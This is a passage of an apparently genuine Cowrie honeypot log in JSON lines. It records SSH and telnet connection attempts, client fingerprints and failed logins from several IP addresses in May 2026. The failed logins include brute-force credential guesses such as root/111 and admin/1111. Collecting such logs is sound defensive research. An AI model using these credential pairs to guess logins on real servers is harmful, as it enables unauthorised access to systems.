0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:01.795058Z","src_ip":"103.75.199.4","session":"c2ee3dd235ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester","message":"login attempt [tester/tester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:02.095618Z","src_ip":"103.75.199.4","session":"c2ee3dd235ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:03.196469Z","src_ip":"103.75.199.4","session":"c2ee3dd235ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":35434,"dst_ip":"159.203.135.109","dst_port":22,"session":"13f09a688b21","protocol":"ssh","message":"New connection: 45.153.34.114:35434 (159.203.135.109:22) [session: 13f09a688b21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:07.871693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:07.906471Z","src_ip":"45.153.34.114","session":"13f09a688b21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:08.046652Z","src_ip":"45.153.34.114","session":"13f09a688b21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysupdate","password":"123456","message":"login attempt [sysupdate/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:08.306298Z","src_ip":"45.153.34.114","session":"13f09a688b21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:09.408577Z","src_ip":"45.153.34.114","session":"13f09a688b21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":56752,"dst_ip":"159.203.135.109","dst_port":22,"session":"11a1230e45c3","protocol":"ssh","message":"New connection: 45.153.34.114:56752 (159.203.135.109:22) [session: 11a1230e45c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:15.867696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:15.897752Z","src_ip":"45.153.34.114","session":"11a1230e45c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:16.016174Z","src_ip":"45.153.34.114","session":"11a1230e45c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123456","message":"login attempt [rdpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:16.295602Z","src_ip":"45.153.34.114","session":"11a1230e45c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:17.387430Z","src_ip":"45.153.34.114","session":"11a1230e45c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":53062,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1c3ad7d5bd2","protocol":"ssh","message":"New connection: 103.75.199.4:53062 (159.203.135.109:22) [session: d1c3ad7d5bd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:23.578022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:23.582607Z","src_ip":"103.75.199.4","session":"d1c3ad7d5bd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:23.678644Z","src_ip":"103.75.199.4","session":"d1c3ad7d5bd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":36382,"dst_ip":"10.17.0.5","dst_port":22,"session":"2523863fbeea","protocol":"ssh","message":"New connection: 80.94.92.182:36382 (10.17.0.5:22) [session: 2523863fbeea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:23.862676Z"}
{"eventid":"cowrie.login.failed","username":"user10","password":"user10","message":"login attempt [user10/user10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:23.959316Z","src_ip":"103.75.199.4","session":"d1c3ad7d5bd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":36724,"dst_ip":"159.203.135.109","dst_port":22,"session":"a609daa76d8d","protocol":"ssh","message":"New connection: 45.153.34.114:36724 (159.203.135.109:22) [session: a609daa76d8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:24.215416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:24.219477Z","src_ip":"45.153.34.114","session":"a609daa76d8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:24.303403Z","src_ip":"45.153.34.114","session":"a609daa76d8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1111","message":"login attempt [admin/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:24.554271Z","src_ip":"45.153.34.114","session":"a609daa76d8d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:24.899483Z","src_ip":"80.94.92.182","session":"2523863fbeea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:24.903278Z","src_ip":"80.94.92.182","session":"2523863fbeea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:25.053398Z","src_ip":"103.75.199.4","session":"d1c3ad7d5bd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"validator","message":"login attempt [solana/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:25.489047Z","src_ip":"80.94.92.182","session":"2523863fbeea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:25.719670Z","src_ip":"45.153.34.114","session":"a609daa76d8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:26.986680Z","src_ip":"80.94.92.182","session":"2523863fbeea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":43322,"dst_ip":"10.17.0.5","dst_port":23,"session":"db209cf92407","protocol":"telnet","message":"New connection: 50.6.8.71:43322 (10.17.0.5:23) [session: db209cf92407]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:30.511444Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":46228,"dst_ip":"159.203.135.109","dst_port":22,"session":"e72559ca983c","protocol":"ssh","message":"New connection: 20.203.42.204:46228 (159.203.135.109:22) [session: e72559ca983c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:30.550225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:30.555626Z","src_ip":"20.203.42.204","session":"e72559ca983c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:30.725213Z","src_ip":"20.203.42.204","session":"e72559ca983c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"technojazz","message":"login attempt [root/technojazz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:31.443969Z","src_ip":"20.203.42.204","session":"e72559ca983c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":51718,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8fa04c4e10a","protocol":"ssh","message":"New connection: 45.153.34.114:51718 (159.203.135.109:22) [session: e8fa04c4e10a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:31.853817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:31.862723Z","src_ip":"45.153.34.114","session":"e8fa04c4e10a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:31.949073Z","src_ip":"45.153.34.114","session":"e8fa04c4e10a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba","message":"login attempt [dmdba/dmdba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:32.211036Z","src_ip":"45.153.34.114","session":"e8fa04c4e10a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:32.616723Z","src_ip":"20.203.42.204","session":"e72559ca983c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:33.297273Z","src_ip":"45.153.34.114","session":"e8fa04c4e10a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":51732,"dst_ip":"159.203.135.109","dst_port":22,"session":"83d57be32c11","protocol":"ssh","message":"New connection: 45.153.34.114:51732 (159.203.135.109:22) [session: 83d57be32c11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:39.270334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:39.275224Z","src_ip":"45.153.34.114","session":"83d57be32c11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:39.357241Z","src_ip":"45.153.34.114","session":"83d57be32c11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111","message":"login attempt [root/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:39.608250Z","src_ip":"45.153.34.114","session":"83d57be32c11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:40.703954Z","src_ip":"45.153.34.114","session":"83d57be32c11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":49928,"dst_ip":"159.203.135.109","dst_port":22,"session":"68b8ab210226","protocol":"ssh","message":"New connection: 103.75.199.4:49928 (159.203.135.109:22) [session: 68b8ab210226]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:45.460650Z"}
